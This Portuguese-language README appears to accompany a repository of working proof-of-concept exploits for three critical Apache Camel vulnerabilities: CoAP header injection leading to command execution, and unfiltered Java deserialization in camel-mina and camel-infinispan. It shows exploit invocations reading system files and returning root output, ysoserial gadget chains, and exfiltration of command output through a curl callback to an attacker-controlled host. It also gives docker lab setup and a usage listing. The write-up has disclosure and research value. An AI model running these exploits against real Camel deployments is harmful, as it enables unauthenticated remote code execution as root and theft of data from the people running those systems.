
Fornece exploits de prova de conceito funcionais e análise detalhada para três vulnerabilidades críticas do Apache Camel, incluindo injeção de cabeçalho CoAP e desserialização insegura que levam à execução remota de código.
Três vulnerabilidades críticas no Apache Camel 4.18.0, descobertas e validadas de forma independente com provas de conceito funcionais.
| CVE | Componente | Tipo | CVSS | Veredito |
|---|---|---|---|---|
| CVE-2026-33453 | camel-coap | Injeção de Cabeçalho → RCE | 10.0 Crítico | Explorável |
| CVE-2026-40473 | camel-mina | Desserialização Insegura → RCE | 9.8 Crítico | Explorável |
| CVE-2026-40858 | camel-infinispan | Desserialização Insegura | 8.8 Alto | Explorável |
Componente: camel-coap — CamelCoapResource.java:103-109
CWE: CWE-915 (Modificação Controlada de Forma Incorreta de Atributos de Objetos)
Corrigido em: Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() mapeia parâmetros de consulta URI CoAP diretamente nos cabeçalhos do Camel Exchange via setHeader() sem HeaderFilterStrategy. CoAPEndpoint estende DefaultEndpoint em vez de DefaultHeaderFilterStrategyEndpoint, portanto cabeçalhos internos com prefixo Camel* podem ser injetados por qualquer cliente não autenticado.
Quando a rota encaminha para camel-exec, os cabeçalhos controlados pelo atacante CamelExecCommandExecutable e CamelExecCommandArgs sobrescrevem o comando configurado, alcançando RCE pré-autenticado via um único pacote UDP.
// CamelCoapResource.java:103-109 — SEM HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Resposta: 2.05
[+] Saída do comando: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Saída do comando: app bin boot dev etc home lib ...
Componente: camel-mina — MinaConverter.java:60-63
CWE: CWE-502 (Desserialização de Dados Não Confiáveis)
Corrigido em: Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) cria um java.io.ObjectInputStream bruto sem ObjectInputFilter. Quando um endpoint MINA é configurado com allowDefaultCodec=false, dados TCP brutos chegam como um IoBuffer e alcançam o conversor de tipos do Camel, que chama este método — envolvendo bytes de rede controlados pelo atacante em um ObjectInputStream sem filtro.
// MinaConverter.java:60-63 — SEM ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // bytes controlados pelo atacante, SEM FILTRO
}
Caminho de ataque: O exploit visa um endpoint TCP MINA com allowDefaultCodec=false (porta 9879 no PoC). Isso contorna completamente a camada de codec do MINA — a ObjectSerializationCodecFactory tem sua própria lista de permissões ClassNameMatcher que, de outra forma, bloquearia classes arbitrárias. Com o codec desabilitado, bytes brutos fluem diretamente para MinaConverter.toObjectInput() que cria um ObjectInputStream padrão com zero filtragem de classes.
Uma cadeia de gadgets CommonsCollections6 (via ysoserial) alcança execução arbitrária de comandos como root. A saída do comando é exfiltrada via um callback curl para o atacante.

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Saída do comando:
uid=0(root) gid=0(root) groups=0(root)
[+] CONFIRMADO: CVE-2026-40473 RCE — comando executado via desserialização
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Saída do comando:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar (gadget CommonsCollections6)cd poc/
docker compose up -d --build
Aguarde o contêiner iniciar e verifique:
docker logs vuln-camel-mina
Você deve ver:

[*] Servidor MINA vulnerável iniciado
[*] Porta 9877: endpoint transferExchange (desserialização Java)
[*] Porta 9878: endpoint codec de serialização de objetos
[*] Porta 9879: endpoint TCP bruto (MinaConverter.toObjectInput)
[*] Aguardando conexões...
A porta 9879 é o alvo — ela usa allowDefaultCodec=false, que desabilita o filtro de codec do MINA e permite que IoBuffer bruto alcance o MinaConverter.toObjectInput() sem filtro do Camel.
Primeiro, verifique se o endpoint aceita e desserializa objetos Java arbitrários sem ObjectInputFilter:
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

[*] Modo sonda — confirmando desserialização (sem RCE)
[*] Payload: HashMap (82 bytes, bruto — sem frame MINA)
[+] Conectado ao endpoint MINA
[+] Payload enviado
[+] Dados alcançaram readObject() sem rejeição de filtro
A sonda envia um HashMap serializado. O servidor o desserializa via ObjectInputStream.readObject() sem InvalidClassException — confirmando zero filtragem de classes.
Com ysoserial disponível, explore a desserialização sem filtro para execução arbitrária de comandos:
# Executar 'id' — retorna uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# Ler arquivos
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# Informações do sistema
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
O exploit gera uma cadeia de gadgets CommonsCollections6, envia como bytes brutos para a porta 9879 e captura a saída do comando via um listener de callback curl.
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]
target IP/hostname alvo
port Porta TCP MINA (padrão: 9879)
command Comando a executar (padrão: id)
--ysoserial Caminho para ysoserial.jar (auto-detectado se não definido)
--callback-host Host que o contêiner usa para alcançá-lo (padrão: host.docker.internal)
--gadget Cadeia de gadgets ysoserial (padrão: auto — tenta CC6, CC5, CC1)
--probe Apenas modo sonda — confirmar desserialização sem RCE
--raw Enviar payload bruto sem frame de 4 bytes MINA (auto-habilitado para porta 9879)